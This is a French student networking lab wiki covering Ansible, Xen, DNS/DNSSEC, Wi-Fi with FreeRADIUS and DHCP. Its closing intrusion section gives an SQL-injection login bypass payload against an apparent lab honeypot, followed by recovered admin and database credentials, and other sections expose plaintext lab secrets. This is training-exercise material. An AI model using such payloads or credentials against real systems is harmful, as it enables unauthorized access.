'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55001</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55001"/>
				<updated>2020-12-18T21:25:22Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
